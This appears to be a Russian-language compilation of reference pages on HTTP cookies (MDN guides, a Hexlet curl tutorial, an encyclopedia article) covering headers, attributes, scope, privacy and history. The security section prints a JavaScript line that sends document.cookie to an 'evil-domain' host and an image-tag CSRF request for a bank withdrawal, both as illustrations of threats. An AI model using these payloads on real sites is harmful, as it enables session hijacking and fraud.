Cookie http: Куки HTTP — HTTP | MDN

Содержание

Куки HTTP — HTTP | MDN

HTTP cookie (web cookie, cookie браузера) — это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.

Cookie используются, главным образом, для:

⦁    Управления сеансом (логины, корзины для виртуальных покупок)
⦁    Персонализации (пользовательские предпочтения)
⦁    Мониторинга (отслеживания поведения пользователя)

До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (

localStorage and sessionStorage) и IndexedDB.

Чтобы посмотреть сохранённые cookies (и какие ещё способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок  Set-Cookie с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP  Cookie (en-US) с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать  ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту  оно отсылается.

Заголовки

Set-Cookie и Cookie

Заголовок Set-Cookie  HTTP-отклика используется для отправки cookie с сервера на клиентское приложение (браузер). Простой cookie может задаваться так:

Set-Cookie: <имя-cookie>=<заголовок-cookie>

Этот заголовок с сервера даёт клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и cookie запоминается браузером.

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Теперь, с каждым новым запросом к серверу, при помощи заголовка Cookie (en-US) браузер будет возвращать серверу все сохранённые ранее cookies. 

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Сессионные cookie

Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) — такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или  Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

Постоянные cookies

Постоянные cookie ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires) или после определённого интервала времени (атрибут Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure

("безопасные") и HttpOnly cookies

«Безопасные» (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом secure.

Куки HTTPonly не доступны из JavaScript через свойства Document.cookie API, что помогает избежать межсайтового скриптинга (XSS (en-US)). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг

HttpOnly.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Область видимости куков

Директивы Domain  и Path определяют область видимости куки, то есть те URL-адреса, к которым куки могут отсылаться.
Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.

Например, если задано

Domain=mozilla.org, то куки включены и в поддоменах, например, в developer.mozilla.org.

Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie.  Символ %x2F («/») интерпретируется как разделитель разделов, подразделы также включаются.

Если задано Path=/docs, то подходят и такие пути, как:

  • «/docs»,
  • «/docs/Web/»,
  • «/docs/Web/HTTP»

Куки

SameSite

Куки SameSite позволяют серверам декларировать, что куки не должны отсылаться с межсайтовыми запросами, что в некотором роде обеспечивает защиту от межсайтовых подделок запроса (CSRF). Куки SameSite находятся пока в стадии эксперимента и поддерживаются не всеми браузерами.

Доступ из JavaScript посредством

Document.cookie

Куки можно создавать через JavaScript при помощи свойства Document.cookie. Если флаг HttpOnly не установлен, то и доступ к существующим cookies можно получить через JavaScript.

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);

Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчёркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.

Важная информация никогда не должна храниться или передаваться в куках HTTP, поскольку этот механизм сам по себе небезопасен.

Захват сессии (session hijacking) и XSS

Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошёл процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для XSS (en-US).

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..

Межсайтовая подделка запроса (CSRF — Cross-site request forgery)

В Wikipedia приведён хороший пример CSRF. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Теперь, если вы зашли в свой банковский аккаунт, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:

  • Как и при XSS (en-US), важна фильтрация входящей информации.
  • Для любой важной операции должно запрашиваться подтверждение.
  • Куки, используемые для ответственных операций, должны иметь короткий срок действия.
  • Дополнительную информацию можно получить в пользовательской инструкции по предотвращению OWASP CSRF.

Сторонние (Third-party) куки

Куки связаны с определённым доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют «

куками первого лица» (first-party cookies). Если это другой домен, их называют «сторонними куками» (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть типы файлов cookie, используемые Google. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).

Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).

Не отслеживать (Do-Not-Track)

Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок DNT, хотя технических или законодательных требований на этот счёт нет. Подробнее об этом рассказывается в разделе заголовок DNT.

Директива Евросоюза о куках

Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счёт могут быть свои законы.

Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.

Подробнее об этом можно прочитать в соответствующем разделе Википедии (Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.

Куки-зомби и «вечные» куки

Более радикальный подход к кукам представляют собой куки-зомби, или «вечные» куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.

Set-Cookie — HTTP | MDN

HTTP заголовок Set-Cookie используется для отправки cookies с сервера на агент пользователя.

Для детальной информации, смотрите руководство по  HTTP cookies.

Set-Cookie: <cookie-name>=<cookie-value>
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None 

// Multiple directives are also possible, for example:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
  • По умолчанию — хост текущего URL документа, не включая поддомены
  • В текущей спецификация начальная точка в имени хоста игнорируется (.example.com)
  • Cookie будут отправляться также на поддомены указанного хоста
  • Указывать несколько хостов недопустимо.
  • По умолчанию — хост текущего URL документа, не включая поддомены
  • В текущей спецификация начальная точка в имени хоста игнорируется (.example.com)
  • Cookie будут отправляться также на поддомены указанного хоста
  • Указывать несколько хостов недопустимо.
<cookie-name>=<cookie-value>
Cookie начинается с пары имя-значение:
  • <cookie-name> может содержать любые символы US-ASCII, за исключением управляющих символов (CTLs), пробелов, или табуляций. Оно также не должно содержать разделительных символов, таких как следующие: ( ) < > @ , ; : \ " /  [ ] ? = { }.
  • <cookie-value> может быть опционально заключено в двойные кавычки,   разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. Кодирование: Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC.  Однако, это помогает удовлетворить требование о разрешённых символах в <cookie-value>.
  • __Secure- prefix : Cookies с именем, начинающимся с   __Secure- (подчёркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).
  • __Host- prefix : Cookies с именем, начинающимся с __Host- должны быть установлены с флагом secure secure, должны быть с безопасной страницы (HTTPS),  не должны иметь определённый домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть «/».
Expires=<date> Необязательный

Максимальное время жизни cookie в формате метки даты-времени HTTP.  См. Date о деталях формата  Если не определён, cookie будет иметь время жизни сессионного cookie.   Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.

Когда устанавливается срок действия, время и дата устанавливаются не относительно сервера, а относительно клиента, на котором установлено cookie,

Max-Age=<number> Необязательный
Количество секунд, после которого cookie устаревает.  Ноль или отрицательное число приводят к моментальному устареванию cookie. Старые браузеры (ie6, ie7, and ie8) не поддерживают Max-Age.  Для прочих браузеров, если оба параметра (Expires and Max-Age) установлены, Max-Age будет иметь преимущество.
Domain=<domain-value> Необязательный
Хост, на который будут отправляться cookie.

По умолчанию — хост текущего URL документа, не включая поддомены
В текущей спецификация начальная точка в имени хоста игнорируется (.example.com)
Cookie будут отправляться также на поддомены указанного хоста
Указывать несколько хостов недопустимо.

Path=<path-value> Необязательный
Путь, который должен существовать в запрошенном URL, иначе браузер не отправит заголовок Cookie.
Пример: / — cookie будет отправляться со всеми запросами
Пример: /docs/ — cookie будет отправляться с запросами к директории docs и её поддиректориям
Secure Необязательный
Cookie будет отправлен на сервер только с запросами c использованием SSL и протокола HTTPS.

Cookie не будет дополнительно шифроваться, поэтому в нем не стоит хранить конфиденциальную информацию.

Note: небезопасные сайты (http:) не могут использовать cookie с атрибутом «secure» (начиная с Chrome 52+ и Firefox 52+).

HttpOnly Необязательный
Запрещает JavaScript доступ к cookie
Полезно для защиты от XSS-атак.
SameSite=<samesite-value> Необязательный
  • Strict: The browser sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). If the request originated from a different URL than the current one, no cookies with the SameSite=Strict attribute are sent.
  • Lax: The cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the URL from an external site, such as by following a link
  • None: The browser sends the cookie with both cross-site and same-site requests

Allows servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks (CSRF).

Современные браузеры используют SameSite=Lax. Если необходима работа SameSite=None cookie должна быть установлена с атрибутом Secure.

Сессионные cookies будут удалены после отключения клиента. В них не указываются директивы Expires или Max-Age. Учитывайте, что часто в браузере включено восстановление сессии.

Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/

Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определённую дату (Expires) или по истечении определённого промежутка времени (Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Файл cookie, принадлежащий домену, который не включает исходный сервер, должен быть отклонён пользовательским. Следующий cookie будет отклонён, если он был установлен сервером, размещённым на originalcompany.com.

Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT

Cookies names with the prefixes __Secure- and __Host- can be used only if they are set with the secure directive from a secure (HTTPS) origin. In addition, cookies with the __Host- prefix must have a path of «/» (the entire host) and must not have a domain attribute. For clients that don’t implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.

// Both accepted when from a secure origin (HTTPS)
Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
Set-Cookie: __Host-ID=123; Secure; Path=/

// Rejected due to missing Secure directive
Set-Cookie: __Secure-id=1

// Rejected due to the missing Path=/ directive
Set-Cookie: __Host-id=1; Secure

// Rejected due to setting a domain
Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
  • Starting with Chrome 52 and Firefox 52, insecure sites (http:) can’t set cookies with the «secure» directive anymore.

Cookies | Протокол HTTP

HTTP является протоколом без сохранения состояния (англ. stateless protocol). Это означает, что каждая пара запрос-ответ не связана с предыдущим запросом-ответом. В реальной жизни это оказывается не очень удобно, так как иногда нам нужно запомнить аутентификацию пользователя или, например, хранить данные корзины с товаром пользователя в интернет-магазине. Тут возникает проблема: «Как запомнить, что это тот пользователь, с которым мы только что работали?» Решение этой проблемы было найдено более 10 лет назад, когда был придуман механизм, который называется — Cookie.

Давайте сделаем запрос к сайту Хекслета и посмотрим как этот механизм работает. Мы будем использовать программу curl. Она позволяет делать HTTP запросы и флагами управлять различными их параметрами. В отличии от telnet нам не нужно заранее устанавливать соединение и потом набирать сырой запрос. При работе с curl можно сразу определить параметры и она сама отправит все нужные заголовки запроса, в том числе и по HTTPS.

Давайте выполним запрос для получения только заголовков, для этого добавим к запуску curl флаг —head.

$ curl --head https://ru.hexlet.io
HTTP/2 200 
server: nginx/1.19.1
date: Thu, 16 Jul 2020 03:38:11 GMT
content-type: text/html; charset=utf-8
vary: Accept-Encoding
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
x-download-options: noopen
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
strict-transport-security: max-age=0
x-frame-options: ALLOW-FROM http://webvisor.com
etag: W/"eb99fa0d6ee702b85ba2a5e9b0425aea"
cache-control: max-age=0, private, must-revalidate
content-security-policy: 
set-cookie: _hexlet_session2=AiUPd6RFbcrnoGnZSLAYSBzdJqxsQ4sTc%2BW0xXuOKzlenyv5GwkkbpdkD6IVDybDlD8vQcOcgGax98%2FmzIBJrz9f%2BDIJxWRpknZsRSfBXuC9yRfndovBUG6w4fTql4qp7zPozd2veFDLOU4koPVYiUQxgBLM6NkyYg%2Bhs%2BQe%2FSZezleVgMBVD%2FFC070DjV7t2eN01o26kcbd0pQsf9k1LE4JN0aDzSxu8elxLyAWkIJ5l3m%2BcI%2BpgOxk87Uwh9WdTHVuDaraiRaVJz1aZq5hr%2FgzaZiK%2Bgi6ChX60nhha1an610b1v3EE7xgkEM332uFPU0w675fHEr4APTdPDVtJRa3--qQi0cqcljC8i4klD--fXTErw9bhX7%2Fd1xfPE4Gww%3D%3D; domain=.hexlet.io; path=/; expires=Sun, 16 Aug 2020 03:38:11 GMT; secure; HttpOnly; SameSite=Lax
set-cookie: GCLB=CLTE8bzdlaS6Zg; path=/; HttpOnly; expires=Thu, 16-Jul-2020 03:39:50 GMT
x-request-id: 2f554de2-a21d-4e7d-964e-085914ac3f77
x-runtime: 0.056974
access-control-allow-origin: *
via: 1.1 google
alt-svc: clear

Мы видим два заголовка, которые занимаются установкой cookie — set-cookie. Обратите внимание, что каждая cookie посылается в отдельном заголовке. Соответственно таких заголовков может быть достаточно много. Внутри кука представляет из себя пару ключ=значение и отделяется от дополнительных параметров точкой с запятой. Куки сохраняются в браузере на клиенте и при следующем запросе он отправляет их обратно на сервер. Непосредственно в браузере они никак не используются. Хорошая аналогия — это как получить номерок в гардеробе и потом вернуть его, чтобы понять какая куртка ваша. При этом сам номерок никакой ценности не представляет и его нельзя использовать самостоятельно.

Куки делятся как минимум на два типа:

  • Сессионные
  • Постоянные

Сессионные куки в нашем запросе не устанавливаются, так как мы видим дополнительные параметры в заголовке set-cookie. Если бы их не было, то кука называлась бы сессионной. Основное их отличие от постоянных в том, что как только закрывается браузер кука удаляется. Например, на некоторых сайтах, если вы не отметите галочку «запомнить меня» и после закрытия браузера зайдёте на сайт снова, то будете не авторизованы. Так происходит потому, что используется сессионная кука.

Время жизни куки

В данном случае устанавливаются постоянные куки. Они сохраняются на жёстком диске и место их хранения может быть разным в зависимости от браузера. Такие куки отличаются от сессионных тем, что можно управлять длиной их жизни при помощи параметра expires.

expires=Thu, 16-Jul-2020 03:39:50 GMT;

В параметре expires указывается дата удаления куки, после которой она не будет отсылаться на сервер. Стоит сказать, что есть еще один параметр, который используется для тех же целей — MAX-AGE. В его значении указывается количество секунд по истечении которых кука будет удалена.

MAX-AGE=2592000;

Так как часть браузеров не поддерживают MAX-AGE, некоторые фреймворки часто устанавливают сразу оба параметра и браузеры просто игнорируют тот, который им не нужен. Таким образом заголовок set-cookie, который содержит два параметра MAX-AGE и expires, считается валидным. В стандарте также говорится и о том, что регистр имени куки не имеет значения.

Параметры domain и path

Параметры domain и path задают область видимости куки, то есть URL, на которые кука может отправляться. Если они не заданы, то по умолчанию кука будет пересылаться на сервер только для текущего пути и домена. В нашем примере в path указан корень сайта.

domain=.hexlet.io; path=/;

То есть кука будет отправляться для всех страниц. Есть нюанс, если установлен domain=.hexlet.io, причём наличие точки перед именем домена не имеет значения, то кука будет работать не только для всех страниц сайта, но и для всех поддоменов. А если мы совсем не установим параметр domain, хотя по умолчанию его значение будет hexlet.io, то кука для поддоменов работать не будет.

Уникальность куки определяется тремя параметрами key (имя куки), domain и path. Это значит, что если какую-то куку нужно переустановить, например, поменять время её жизни, то при следующем запросе в set-cookie эти параметры должны совпадать. Если хотя бы один из них отличается, то будет установлена новая кука.

Удаление куки

Заголовка для удаления куки не существует, чтобы удалить её, нужно установить нулевой или отрицательный MAX-AGE, либо задать expires в прошлом, тогда кука будет немедленно удалена.

HttpOnly cookie

Можно заметить, что в нашем примере установлен дополнительный параметр HttpOnly. HttpOnly куки передаются с AJAX-запросами, но их нельзя получить через JavaScript на странице сайта. Это дополнительный уровень безопасности от XSS атак.

Отправка на сервер

После того как мы обновляем страницу в браузере, происходит отправка следующего заголовка:

cookie: GCLB=CLiC7uWajOOrzAE; _hexlet_session2=gu3n8MCidqZ28VfjpzJuF74d4ohla6uYq9Q%2B2XBcalsa3VUCzURBWTXvscuzSI%2BF3lnHAN%2FUt6IJnXgkH%2B6jDKgyStVb8W%2BLHwIbypoxajN3fB5ksFT3Qu28RvDQpL6hBmqq7V2eFdfLMGtkmtcpfAUYNGffwaBAlQyQKnvhkCpEf5IIWkwWfe9Nt8dG3lIueeir9fGxZP7Fpcw9IP9HfgSansgXugtFI1rw06UhgrrK%2BEnaf4EmIgVdH6KYpDBKXpUUXz8vFRvkOMX5j%2BZNMTu%2BKDBzmGlFjcm1mCZl4ozZWDCocFO4CTW7z9LmzKYbcEGkUEhRbOu%2BTvLgVo80LilK--x3y6jxx%2FjYcLp5tr--9nrQ0XmAhtGAuIFvMYvWig%3D%3D

HTTP cookie — это… Что такое HTTP cookie?

У этого термина существуют и другие значения, см. Cookie.

Ку́ки (слово не склоняется; от англ. cookie — печенье) — небольшой фрагмент данных, отправленный веб-сервером и хранимый на компьютере пользователя. Веб-клиент (обычно веб-браузер) всякий раз при попытке открыть страницу соответствующего сайта пересылает этот фрагмент данных веб-серверу в виде HTTP-запроса. Применяется для сохранения данных на стороне пользователя, на практике обычно используется для:

  • аутентификации пользователя;
  • хранения персональных предпочтений и настроек пользователя;
  • отслеживания состояния сессии доступа пользователя;
  • ведения статистики о пользователях.

Приём браузерами куки требуют многие сайты с ограничениями доступа, большинство интернет-магазинов.[1] Настройка оформления и поведения многих веб-сайтов по индивидуальным предпочтениям пользователя тоже основана на куки.[2]

С момента своего появления куки вызывали обеспокоенность пользователей Интернета, поскольку слежение за действиями и предпочтениями пользователей может подвергнуть опасности тайну личной жизни. Как результат, в Европейском союзе, Соединённых Штатах, и в других странах были приняты соответствующие законы, регулирующие применение куки[источник не указан 1117 дней]. Куки легко перехватить и подменить (например, для получения доступа к учетной записи), если пользователь использует нешифрованное соединение с сервером. В группе риска пользователи, выходящие в интернет при помощи публичных точек доступа Wi-Fi и не использующие при этом таких механизмов как SSL. Шифрование позволяет также решить и другие проблемы, связанные с безопасностью передаваемых данных.

Имеется и ряд заблуждений о куки. Они главным образом основаны на уверенности людей, что куки являются компьютерными программами. На самом деле, куки — это простые текстовые данные, набор символов, передаваемый при запросах к веб-сайту, и они не могут выполнять какие-либо действия самостоятельно. В частности, куки не могут быть ни вирусами, ни шпионскими программами. Таким образом, куки могут быть опасны только в плане деанонимизации и слежения за действиями пользователя.

Большинство современных браузеров позволяют пользователям выбрать — принимать куки или нет, но их отключение делает невозможной работу с некоторыми сайтами. Кроме того, необходимость частого ввода логина и пароля делает работу с сайтами менее удобной.

Назначение

Куки используются веб-серверами для различения пользователей и хранения данных о них.

К примеру, если вход на сайт осуществляется при помощи куки, то после ввода пользователем своих данных на странице входа, куки позволяют серверу запомнить, что пользователь уже идентифицирован, и ему разрешён доступ к соответствующим услугам и операциям.[2]

Многие сайты также используют куки для сохранения настроек пользователя. Эти настройки могут использоваться для персонализации, которая включает в себя выбор оформления и функциональности. Например, Википедия позволяет авторизованным пользователям выбрать дизайн сайта. Поисковая система Google позволяет пользователям (в том числе и не зарегистрированным в ней) выбрать количество результатов поиска, отображаемых на одной странице.[3]

Куки также используются для отслеживания действий пользователей на сайте. Как правило, это делается с целью сбора статистики, а рекламные компании на основе такой статистики формируют анонимные профили пользователей, для более точного нацеливания рекламы.[4]

Понятие

Возможное взаимодействие между браузером и сервером.

В техническом плане куки представляют собой фрагменты данных, изначально отправляемых веб-сервером браузеру. При каждом последующем посещении сайта браузер пересылает их обратно серверу. Без куки каждый просмотр веб-страницы является изолированным действием, не связанным с просмотром других страниц того же сайта, с помощью же куки можно выявить связь между просмотром разных страниц. Кроме отправки куки веб-сервером, куки могут создаваться скриптами на языках вроде JavaScript, если они поддерживаются и включены в браузере.

Спецификации[5][6] указывают минимальные объёмы, которые должны предоставляться браузерами для хранения куки. Так, браузер должен хранить по меньшей мере 300 куки по 4096 байт каждая, и по меньшей мере 20 куки для одного сервера или домена.

Популярные браузеры имеют соответствующий максимум хранящихся куки для каждого домена:

На практике, некоторые браузеры могут накладывать более жёсткие ограничения. К примеру, Internet Explorer предоставляет 4096 байт для всех куки в одном домене.

Имена куки нечувствительны к регистру в соответствии с разделом 3.1 RFC 2965.

Куки могут устанавливать дату их удаления, в этом случае они будут автоматически удалены браузером в указанный срок. Если дата удаления не указана, куки удаляются сразу, как только пользователь закроет браузер. Таким образом, указание даты истечения позволяет сохранить куки более чем на одну сессию и такие куки называются постоянными. Например, интернет-магазин может использовать постоянные куки для хранения кодов предметов, которые пользователь поместил в корзину покупок — и даже если пользователь закроет браузер, не совершив покупки, при последующем входе ему не придётся формировать корзину заново.

Хранение куки также может ограничиваться в зависимости от веб-сервера, домена или поддомена, где они были созданы.

История

По одной из версий термин «куки» (печенье) происходит от «волшебного печенья»[7] — набора данных, которые программа получает и затем отправляет обратно неизменными. В июне 1994 года Лу Монтулли пришла идея использовать их при веб-соединении.[8] В то время он был сотрудником Netscape Communications, которая разрабатывала по заказу пакет электронной коммерции. Куки стали решением проблемы надёжной реализации виртуальной корзины покупок.

С помощью Джона Гианнандреа в тот же год Монтулли написал начальную спецификацию куки. Mosaic Netscape 0.9beta, выпущенная 13 октября 1994 года,[9][10] уже поддерживала куки. Куки впервые начали использоваться вне лаборатории на сайте Netscape и определяли, посещал ли пользователь сайт ранее. Монтулли подал заявку на патент в 1995 году и получил его в 1998 году. Internet Explorer начал поддерживать куки с версии 2, выпущенной в октябре 1995 года.[11]

Хотя некоторые люди знали о существовании куки уже в первом квартале 1995 года,[12] широкая общественность узнала о них лишь после статьи в «Financial Times» от 12 февраля 1996 года. В том же году куки оказались в центре внимания средств массовой информации, особенно из-за потенциальной угрозы приватности. Куки были рассмотрены в Федеральной комиссии по торговле США в двух слушаниях в 1996 и 1997 годах.

Развитие спецификаций куки на этом не остановилось. В частности, первые обсуждения формальной спецификации начались в апреле 1995 года. Была сформирована специальная рабочая группа в рамках IETF. В качестве отправной точки была выбрана спецификация Netscape. В феврале 1996 года рабочая группа определила сторонние куки как серьёзную угрозу приватности. Выработанная спецификация была выпущена под названием RFC 2109 в феврале 1997 года. В ней указывалось, что сторонние куки должны либо блокироваться, либо хотя бы не работать по умолчанию.

В то время рекламные компании уже вовсю использовали сторонние куки и рекомендации RFC 2109 не поддерживались ни в браузерах Netscape, ни в Internet Explorer. Позднее, в октябре 2000 года, RFC 2109 была заменена новой спецификацией RFC 2965.

Заблуждения

С момента появления куки, в СМИ и Интернете начали распространяться различные слухи.[13] В 1998 году компьютерный отдел Министерства энергетики Соединенных Штатов (CIAC) заявил, что опасности куки не представляют, и пояснил, что «информация о том, откуда вы приходите и какие веб-страницы посещаете, и так сохраняется в лог-файлы веб-серверов».[14] В 2005 году были опубликованы результаты исследования,[15] согласно которому значительный процент респондентов уверен, что:

В действительности же, куки представляют собой лишь данные, а не программный код: они не могут стереть или прочитать информацию с компьютера пользователя.[16] Однако куки позволяют проследить, какие веб-страницы просмотрены пользователем на данном сайте, и эта информация может быть сохранена в профиле пользователя. Такие профили зачастую анонимны и не содержат личной информации пользователей (имя, адрес и т. д.). Точнее, они не могут её содержать, пока пользователь не сделал эту информацию доступной. Но даже несмотря на анонимность, эти профили стали предметом споров о сохранении приватности.

Работа куки

Установка куки

Запрашивая страницу, браузер отправляет веб-серверу короткий текст с HTTP-запросом. Например, для доступа к странице http://www.example.org/index.html, браузер отправляет на сервер www.example.org следующий запрос:

GET /index.html HTTP/1.1
Host: www.example.org

браузер сервер

Сервер отвечает, отправляя запрашиваемую страницу вместе с текстом, содержащим HTTP-ответ. Там может содержаться указание браузеру сохранить куки:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
 
(содержимое страницы)

браузер сервер

Строка Set-cookie отправляется лишь тогда, когда сервер желает, чтобы браузер сохранил куки. В этом случае, если куки поддерживаются браузером и их приём включён, браузер запоминает строку name=value (имя = значение) и отправляет её обратно серверу с каждым последующим запросом. Например, при запросе следующей страницы http://www.example.org/spec.html браузер пошлёт серверу www.example.org следующий запрос:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: name=value
Accept: */*
 

браузер сервер

Этот запрос отличается от первого запроса тем, что содержит строку, которую сервер отправил браузеру ранее. Таким образом, сервер узна́ет, что этот запрос связан с предыдущим. Сервер отвечает, отправляя запрашиваемую страницу и, возможно, добавив новые куки.

Значение куки может быть изменено сервером путём отправления новых строк Set-Cookie: name=newvalue. После этого браузер заменяет старое куки с тем же name на новую строку.

Строка Set-Cookie, как правило, добавляется к HTTP-ответу не самим HTTP-сервером, а CGI-программой, работающей вместе с ним. HTTP-сервер только отправляет браузеру результат работы такой программы.

Куки также могут устанавливаться программами на языках типа JavaScript, встроенными в текст страниц, или аналогичными скриптами, работающими в браузере. В JavaScript для этого используется объект document.cookie. Например, document.cookie = "temperature=20" создаст куки под именем «temperature» и значением 20.[17]

Атрибуты куки

Кроме пары имя/значение, куки может содержать срок действия, путь и доменное имя. RFC 2965 также предусматривает, что куки должны обязательно иметь номер версии, но это используется редко. Эти атрибуты должны идти после пары name=newvalue и разделяться точкой с запятой. Например:

Set-Cookie: name=newvalue; expires=date; path=/; domain=.example.org.

Образец HTTP-ответа google.com, содержащего куки с атрибутами.

Домен и путь говорят браузеру, что куки должна быть отправлена обратно на сервер при запросах URL для указанного домена и пути. Если они не указаны, используются домен и путь запрошенной страницы[6].

Фактически, куки определяются тройкой параметров имя-домен-путь (оригинальная спецификация Netscape учитывала только пару имя-путь[5]). Иными словами, куки с разными путями или доменами являются разными куки, даже если имеют одинаковые имена. Соответственно, куки меняется на новое, только если новое куки имеет те же имя, путь и домен.

